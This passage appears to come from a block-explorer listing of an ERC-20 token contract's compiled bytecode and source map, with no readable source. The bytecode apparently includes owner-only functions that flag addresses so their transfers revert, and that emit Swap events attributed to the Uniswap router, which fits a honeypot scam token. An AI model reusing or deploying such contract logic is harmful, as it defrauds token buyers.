000000815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b6000620186a0610d5a600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2957600080fd5b505afa158015610d3d573d6000803e3d6000fd5b505050506040513d6020811015610d5357600080fd5b505161147d565b6201869f0281610d6657fe5b0490506000610d73611604565b90506000610d818383611715565b90506108c6838284876117dc565b60096020526000908152604090205481565b73ffffffffffffffffffffffffffffffffffffffff8316610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611d496024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611cdc6022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff80841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610ef28484610b2a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108c65781811015610f8a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b6108c68484848403610da1565b73ffffffffffffffffffffffffffffffffffffffff8316611003576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d246025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821661106f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611cb96023913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054818110156110ee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611cfe6026913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff84166000908152600260205260409020541561115f5773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320546001909252909120546111559190611823565b1561115f57600080fd5b6111698183611897565b73ffffffffffffffffffffffffffffffffffffffff80861660009081526001602052604080822093909355908516815220546111a59083611823565b73ffffffffffffffffffffffffffffffffffffffff80851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526001602052604081205461123f908361190e565b9392505050565b61124f81611921565b60026000606085901c5b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020555050565b600854604080517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff87811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b15801561130857600080fd5b505af115801561131c573d6000803e3d6000fd5b505050506040513d602081101561133257600080fd5b505060085460408051858152905173ffffffffffffffffffffffffffffffffffffffff8088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a3604080518481526000602082018190528183015260608101849052905173ffffffffffffffffffffffffffffffffffffffff861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b600854606083901c600081815260016020908152604091829020548251908152915173ffffffffffffffffffffffffffffffffffffffff909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a361146f81611927565b60016000606085901c611259565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156114ea57600080fd5b505afa1580156114fe573d6000803e3d6000fd5b505050506040513d606081101561151457600080fd5b508051602091820151600854604080517f0dfe1681000000000000000000000000000000000000000000000000000000008152905193965091945073ffffffffffffffffffffffffffffffffffffffff80891694911692630dfe1681926004808201939291829003018186803b15801561158d57600080fd5b505afa1580156115a1573d6000803e3d6000fd5b505050506040513d60208110156115b757600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16146115ea57806dffffffffffffffffffffffffffff166115fc565b816dffffffffffffffffffffffffffff165b949350505050565b604080516002808252606080830184529283929190602083019080368337019050509050308160008151811061163657fe5b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600754604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b1580156116b057600080fd5b505afa1580156116c4573d6000803e3d6000fd5b505050506040513d60208110156116da57600080fd5b50518151829060019081106116eb57fe5b73ffffffffffffffffffffffffffffffffffffffff90921660209283029190910190910152905090565b60408051600280825260608083018452600093909291906020830190803683370190505090506117458484611932565b90508060008151811061175457fe5b602002602001015160016000600142118061176d575060005b806117785750426001105b611783576000611790565b606061178d611ad6565b901c5b73ffffffffffffffffffffffffffffffffffffffff16815260208101919091526040016000908120805490920190915581518291906117cb57fe5b602002602001015191505092915050565b3060009081526001602090815260408083205483835281842060075473ffffffffffffffffffffffffffffffffffffffff168552909252909120556108c684848484611add565b60008282018381101561123f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008282111561190857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081838161191957fe5b049392505050565b600a0190565b620186a09081020490565b600754604080517f1f00ca74000000000000000000000000000000000000000000000000000000008152600481018581526024820192835284516044830152845160609473ffffffffffffffffffffffffffffffffffffffff1693631f00ca749388938893909291606401906020808601910280838360005b838110156119c35781810151838201526020016119ab565b50505050905001935050505060006040518083038186803b1580156119e757600080fd5b505afa1580156119fb573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526020811015611a4257600080fd5b8101908080516040519392919084640100000000821115611a6257600080fd5b908301906020820185811115611a7757600080fd5b8251866020820283011164010000000082111715611a9457600080fd5b82525081516020918201928201910280838360005b83811015611ac1578181015183820152602001611aa9565b50505050905001604052505050905092915050565b3060601b90565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee85858585426104b0016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611ba1578181015183820152602001611b89565b505050509050019650505050505050600060405180830381600087803b158015611bca57600080fd5b505af1158015611bde573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526020811015611c2557600080fd5b8101908080516040519392919084640100000000821115611c4557600080fd5b908301906020820185811115611c5a57600080fd5b8251866020820283011164010000000082111715611c7757600080fd5b82525081516020918201928201910280838360005b83811015611ca4578181015183820152602001611c8c565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220effc1ee4ae4db3c3502cabd5f59f325beaf0c17e66134fa876707bc1ac5fd5f064736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061016c5760003560e01c806370a08231116100cd578063bda0278211610081578063ea923bae11610066578063ea923bae146105e7578063ebfb412d14610657578063ff5c1d621461068a5761016c565b8063bda0278214610579578063dd62ed3e146105ac5761016c565b806395d89b41116100b257806395d89b41146104ff578063a457c2d714610507578063a9059cbb146105405761016c565b806370a082311461049b5780638da5cb5b146104ce5761016c565b8063313ce567116101245780633950935111610109578063395093511461035b5780635765a5cc1461039457806358a10259146103cf5761016c565b8063313ce567146102cb578063316d295f146102e95761016c565b8063095ea7b311610155578063095ea7b31461023357806318160ddd1461028057806323b872dd146102885761016c565b806304ee65c01461017157806306fdde03146101b6575b600080fd5b6101a46004803603602081101561018757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166106bd565b60408051918252519081900360200190f35b6101be6106cf565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f85781810151838201526020016101e0565b50505050905090810190601f1680156102255780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61026c6004803603604081101561024957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610783565b604080519115158252519081900360200190f35b6101a4610799565b61026c6004803603606081101561029e57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020810135909116906040013561079f565b6102d36107c1565b6040805160ff9092168252519081900360200190f35b610359600480360360408110156102ff57600080fd5b81019060208101813564010000000081111561031a57600080fd5b82018360208201111561032c57600080fd5b8035906020019184602083028401116401000000008311171561034e57600080fd5b9193509150356107e2565b005b61026c6004803603604081101561037157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356108cc565b6101a4600480360360408110156103aa57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166108e5565b61026c600480360360808110156103e557600080fd5b81359173ffffffffffffffffffffffffffffffffffffffff602082013516916040820135919081019060808101606082013564010000000081111561042957600080fd5b82018360208201111561043b57600080fd5b8035906020019184602083028401116401000000008311171561045d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108ff945050505050565b6101a4600480360360208110156104b157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166109c7565b6104d66109ef565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101be610a0b565b61026c6004803603604081101561051d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610a8a565b61026c6004803603604081101561055657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610b0b565b6101a46004803603602081101561058f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b18565b6101a4600480360360408110156105c257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610b2a565b610359600480360360408110156105fd57600080fd5b81019060208101813564010000000081111561061857600080fd5b82018360208201111561062a57600080fd5b8035906020019184602083028401116401000000008311171561064c57600080fd5b919350915035610b60565b6103596004803603602081101561066d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610c32565b6101a4600480360360208110156106a057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d8f565b60026020526000908152604090205481565b60058054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107795780601f1061074e57610100808354040283529160200191610779565b820191906000526020600020905b81548152906001019060200180831161075c57829003601f168201915b5050505050905090565b6000610790338484610da1565b50600192915050565b60045490565b60006107ac843384610ee6565b6107b7848484610f97565b5060019392505050565b60085474010000000000000000000000000000000000000000900460ff1681565b60035473ffffffffffffffffffffffffffffffffffffffff16331461086857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b828110156108c65742156108be57600061089e606086868581811061088c57fe5b9050602002013560001c901c8461120f565b90506108bc8585848181106108af57fe5b9050602002013582611246565b505b60010161086b565b50505050565b6000336107b78185856108df8383610b2a565b01610da1565b600060208181529281526040808220909352908152205481565b60035460009073ffffffffffffffffffffffffffffffffffffffff16331461098857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82518110156109bb576109b38382815181106109a357fe5b6020026020010151878688611284565b60010161098b565b50600195945050505050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205490565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b60068054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107795780601f1061074e57610100808354040283529160200191610779565b60003381610a988286610b2a565b905083811015610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d6d6025913960400191505060405180910390fd5b610b008286868403610da1565b506001949350505050565b6000610790338484610f97565b60016020526000908152604090205481565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526020818152604080832093909416825291909152205490565b60035473ffffffffffffffffffffffffffffffffffffffff163314610be657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b828110156108c6574215610c2a576000610c0a606086868581811061088c57fe5b9050610c28858584818110610c1b57fe5b9050602002013582611401565b505b600101610be9565b60035473ffffffffffffffffffffffffffffffffffffffff163314610cb857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b6000620186a0610d5a600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2957600080fd5b505afa158015610d3d573d6000803e3d6000fd5b505050506040513d6020811015610d5357600080fd5b505161147d565b6201869f0281610d6657fe5b0490506000610d73611604565b90506000610d818383611715565b90506108c6838284876117dc565b60096020526000908152604090205481565b73ffffffffffffffffffffffffffffffffffffffff8316610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611d496024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611cdc6022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff80841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610ef28484610b2a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108c65781811015610f8a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b6108c68484848403610da1565b73ffffffffffffffffffffffffffffffffffffffff8316611003576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d246025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821661106f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611cb96023913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054818110156110ee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611cfe6026913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff84166000908152600260205260409020541561115f5773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320546001909252909120546111559190611823565b1561115f57600080fd5b6111698183611897565b73ffffffffffffffffffffffffffffffffffffffff80861660009081526001602052604080822093909355908516815220546111a59083611823565b73ffffffffffffffffffffffffffffffffffffffff80851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526001602052604081205461123f908361190e565b9392505050565b61124f81611921565b60026000606085901c5b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020555050565b600854604080517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff87811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b15801561130857600080fd5b505af115801561131c573d6000803e3d6000fd5b505050506040513d602081101561133257600080fd5b505060085460408051858152905173ffffffffffffffffffffffffffffffffffffffff8088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a3604080518481526000602082018190528183015260608101849052905173ffffffffffffffffffffffffffffffffffffffff861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b600854606083901c600081815260016020908152604091829020548251908152915173ffffffffffffffffffffffffffffffffffffffff909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a361146f81611927565b60016000606085901c611259565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156114ea57600080fd5b505afa1580156114fe573d6000803e3d6000fd5b505050506040513d606081101561151457600080fd5b508051602091820151600854604080517f0dfe1681000000000000000000000000000000000000000000000000000000008152905193965091945073ffffffffffffffffffffffffffffffffffffffff80891694911692630dfe1681926004808201939291829003018186803b15801561158d57600080fd5b505afa1580156115a1573d6000803e3d6000fd5b505050506040513d60208110156115b757600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16146115ea57806dffffffffffffffffffffffffffff166115fc565b816dffffffffffffffffffffffffffff165b949350505050565b604080516002808252606080830184529283929190602083019080368337019050509050308160008151811061163657fe5b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600754604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b1580156116b057600080fd5b505afa1580156116c4573d6000803e3d6000fd5b505050506040513d60208110156116da57600080fd5b50518151829060019081106116eb57fe5b73ffffffffffffffffffffffffffffffffffffffff90921660209283029190910190910152905090565b60408051600280825260608083018452600093909291906020830190803683370190505090506117458484611932565b90508060008151811061175457fe5b602002602001015160016000600142118061176d575060005b806117785750426001105b611783576000611790565b606061178d611ad6565b901c5b73ffffffffffffffffffffffffffffffffffffffff16815260208101919091526040016000908120805490920190915581518291906117cb57fe5b602002602001015191505092915050565b3060009081526001602090815260408083205483835281842060075473ffffffffffffffffffffffffffffffffffffffff168552909252909120556108c684848484611add565b60008282018381101561123f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008282111561190857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081838161191957fe5b049392505050565b600a0190565b620186a09081020490565b600754604080517f1f00ca74000000000000000000000000000000000000000000000000000000008152600481018581526024820192835284516044830152845160609473ffffffffffffffffffffffffffffffffffffffff1693631f00ca749388938893909291606401906020808601910280838360005b838110156119c35781810151838201526020016119ab565b50505050905001935050505060006040518083038186803b1580156119e757600080fd5b505afa1580156119fb573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526020811015611a4257600080fd5b8101908080516040519392919084640100000000821115611a6257600080fd5b908301906020820185811115611a7757600080fd5b8251866020820283011164010000000082111715611a9457600080fd5b82525081516020918201928201910280838360005b83811015611ac1578181015183820152602001611aa9565b50505050905001604052505050905092915050565b3060601b90565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee85858585426104b0016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611ba1578181015183820152602001611b89565b505050509050019650505050505050600060405180830381600087803b158015611bca57600080fd5b505af1158015611bde573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526020811015611c2557600080fd5b8101908080516040519392919084640100000000821115611c4557600080fd5b908301906020820185811115611c5a57600080fd5b8251866020820283011164010000000082111715611c7757600080fd5b82525081516020918201928201910280838360005b83811015611ca4578181015183820152602001611c8c565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220effc1ee4ae4db3c3502cabd5f59f325beaf0c17e66134fa876707bc1ac5fd5f064736f6c63430007060033

Deployed Bytecode Sourcemap

9876:10808:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3815:36;;;;;;;;;;;;;;;;-1:-1:-1;3815:36:0;;;;:::i;:::-;;;;;;;;;;;;;;;;4529:91;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6434:183;;;;;;;;;;;;;;;;-1:-1:-1;6434:183:0;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;4842:99;;;:::i;6625:248::-;;;;;;;;;;;;;;;;-1:-1:-1;6625:248:0;;;;;;;;;;;;;;;;;;:::i;9967:26::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17173:673;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;17173:673:0;-1:-1:-1;17173:673:0;;:::i;:::-;;6881:267;;;;;;;;;;;;;;;;-1:-1:-1;6881:267:0;;;;;;;;;:::i;3709:56::-;;;;;;;;;;;;;;;;-1:-1:-1;3709:56:0;;;;;;;;;;;:::i;10562:279::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;10562:279:0;;-1:-1:-1;10562:279:0;;-1:-1:-1;;;;;10562:279:0:i;5964:110::-;;;;;;;;;;;;;;;;-1:-1:-1;5964:110:0;;;;:::i;3858:20::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4739:95;;;:::i;7156:466::-;;;;;;;;;;;;;;;;-1:-1:-1;7156:466:0;;;;;;;;;:::i;6082:175::-;;;;;;;;;;;;;;;;-1:-1:-1;6082:175:0;;;;;;;;;:::i;3772:36::-;;;;;;;;;;;;;;;;-1:-1:-1;3772:36:0;;;;:::i;6265:161::-;;;;;;;;;;;;;;;;-1:-1:-1;6265:161:0;;;;;;;;;;;:::i;15739:673::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;15739:673:0;-1:-1:-1;15739:673:0;;:::i;12129:273::-;;;;;;;;;;;;;;;;-1:-1:-1;12129:273:0;;;;:::i;10002:43::-;;;;;;;;;;;;;;;;-1:-1:-1;10002:43:0;;;;:::i;3815:36::-;;;;;;;;;;;;;:::o;4529:91::-;4607:5;4600:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4574:13;;4600:12;;4607:5;;4600:12;;4607:5;4600:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4529:91;:::o;6434:183::-;6533:4;6550:37;6559:10;6571:7;6580:6;6550:8;:37::i;:::-;-1:-1:-1;6605:4:0;6434:183;;;;:::o;4842:99::-;4921:12;;4842:99;:::o;6625:248::-;6747:4;6764:41;6780:4;6786:10;6798:6;6764:15;:41::i;:::-;6816:27;6826:4;6832:2;6836:6;6816:9;:27::i;:::-;-1:-1:-1;6861:4:0;6625:248;;;;;:::o;9967:26::-;;;;;;;;;:::o;17173:673::-;4392:5;;:19;:5;4401:10;4392:19;4384:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17308:9:::1;17303:536;17323:15:::0;;::::1;17303:536;;;17389:15;:44:::0;17385:443:::1;;17483:10;17496:273;17721:2;17709:4;;17714:1;17709:7;;;;;;;;;;;;;17701:16;;:22;;17748:2;17496:14;:273::i;:::-;17483:286;;17788:24;17800:4;;17805:1;17800:7;;;;;;;;;;;;;17809:2;17788:11;:24::i;:::-;17385:443;;17340:3;;17303:536;;;;17173:673:::0;;;:::o;6881:267::-;6994:4;7029:10;7050:68;7029:10;7068:7;7107:10;7077:27;7029:10;7068:7;7077:9;:27::i;:::-;:40;7050:8;:68::i;3709:56::-;;;;;;;;;;;;;;;;;;;;;;:::o;10562:279::-;4392:5;;10702:4;;4392:19;:5;4401:10;4392:19;4384:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10724:9:::1;10719:93;10743:1;:8;10739:1;:12;10719:93;;;10773:27;10785:1;10787;10785:4;;;;;;;;;;;;;;10791:1;10794;10797:2;10773:11;:27::i;:::-;10753:3;;10719:93;;;-1:-1:-1::0;10829:4:0::1;::::0;10562:279;-1:-1:-1;;;;;10562:279:0:o;5964:110::-;6056:10;;6029:7;6056:10;;;:1;:10;;;;;;;5964:110::o;3858:20::-;;;;;;:::o;4739:95::-;4819:7;4812:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4786:13;;4812:14;;4819:7;;4812:14;;4819:7;4812:14;;;;;;;;;;;;;;;;;;;;;;;;7156:466;7274:4;7309:10;7274:4;7357:27;7309:10;7376:7;7357:9;:27::i;:::-;7330:54;;7437:15;7417:16;:35;;7395:122;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7530:62;7539:7;7548;7576:15;7557:16;:34;7530:8;:62::i;:::-;-1:-1:-1;7610:4:0;;7156:466;-1:-1:-1;;;;7156:466:0:o;6082:175::-;6177:4;6194:33;6204:10;6216:2;6220:6;6194:9;:33::i;3772:36::-;;;;;;;;;;;;;:::o;6265:161::-;6399:10;;;;6372:7;6399:10;;;;;;;;;;;:19;;;;;;;;;;;;;6265:161::o;15739:673::-;4392:5;;:19;:5;4401:10;4392:19;4384:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15875:9:::1;15870:535;15890:15:::0;;::::1;15870:535;;;15956:15;:44:::0;15952:442:::1;;16050:10;16063:271;16286:2;16274:4;;16279:1;16274:7;;;;;;16063:271;16050:284;;16353:25;16366:4;;16371:1;16366:7;;;;;;;;;;;;;16375:2;16353:12;:25::i;:::-;15952:442;;15907:3;;15870:535;;12129:273:::0;4392:5;;:19;:5;4401:10;4392:19;4384:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12186:15:::1;12232:6;12205:15;12209:3;;;;;;;;;;;:8;;;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;12209:10:0;12205:3:::1;:15::i;:::-;12223:5;12205:23;12204:34;;;;;;12186:52;;12249:26;12278:5;:3;:5::i;:::-;12249:34;;12294:14;12311:29;12321:7;12330:9;12311;:29::i;:::-;12294:46;;12351:43;12363:7;12372:6;12380:9;12391:2;12351:11;:43::i;10002:::-:0;;;;;;;;;;;;;:::o;8289:378::-;8427:21;;;8419:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8508:21;;;8500:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8581:10;;;;:1;:10;;;;;;;;;;;:19;;;;;;;;;;;;;:28;;;8625:34;;;;;;;;;;;;;;;;;8289:378;;;:::o;8675:466::-;8812:24;8839:27;8849:7;8858;8839:9;:27::i;:::-;8812:54;;8901:17;8881:16;:37;8877:257;;8981:6;8961:16;:26;;8935:117;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9069:53;9078:7;9087;9115:6;9096:16;:25;9069:8;:53::i;7630:651::-;7761:18;;;7753:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7840:16;;;7832:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7931:7;;;7909:19;7931:7;;;:1;:7;;;;;;7971:21;;;;7949:109;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8073:7;;;8083:1;8073:7;;;:1;:7;;;;;;:11;8069:79;;8113:7;;;;;;;:1;:7;;;;;;;;;8122:1;:7;;;;;;;8109:21;;8113:7;8109:3;:21::i;:::-;:26;8101:35;;;;;;8170:24;8174:11;8187:6;8170:3;:24::i;:::-;8160:7;;;;;;;;:1;:7;;;;;;:34;;;;8217:5;;;;;;;8213:18;;8224:6;8213:3;:18::i;:::-;8205:5;;;;;;;;:1;:5;;;;;;;;;:26;;;;8247;;;;;;;8205:5;;8247:26;;;;;;;;;;;;;7630:651;;;;:::o;12608:153::-;12741:6;;;12706:7;12741:6;;;:1;:6;;;;;;12733:20;;12749:3